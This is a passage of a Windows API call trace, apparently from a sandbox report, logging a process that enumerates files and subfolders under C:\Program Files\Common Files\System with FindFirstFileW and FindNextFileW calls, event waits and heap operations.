ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0235.814] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0235.814] ResetEvent (hEvent=0x118) returned 1 [0235.815] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.818] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0235.819] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0235.819] ResetEvent (hEvent=0x118) returned 1 [0235.819] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.847] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0235.847] ResetEvent (hEvent=0x118) returned 1 [0235.848] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.885] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0235.886] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0235.886] ResetEvent (hEvent=0x118) returned 1 [0235.886] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.916] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0235.916] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0235.916] GetProcessHeap () returned 0x560000 [0235.916] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0235.917] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0235.918] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.918] GetProcessHeap () returned 0x560000 [0235.918] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0235.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0235.919] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.919] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0235.920] ResetEvent (hEvent=0x118) returned 1 [0235.920] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.924] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0235.924] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0235.924] GetProcessHeap () returned 0x560000 [0235.924] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0235.924] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0235.924] GetProcessHeap () returned 0x560000 [0235.924] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0235.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0235.925] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.925] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0235.925] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0235.926] ResetEvent (hEvent=0x118) returned 1 [0235.926] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.940] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.940] GetProcessHeap () returned 0x560000 [0235.940] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0235.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0236.594] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.594] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0236.638] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0236.638] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0236.638] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0236.639] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0236.639] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0236.640] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0236.640] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0236.643] GetProcessHeap () returned 0x560000 [0236.643] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0236.643] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0236.643] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0236.644] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0236.644] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0236.644] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0236.645] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0236.645] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0236.645] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0236.646] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0236.646] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0236.648] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0236.648] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0236.649] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0236.649] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0236.649] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, 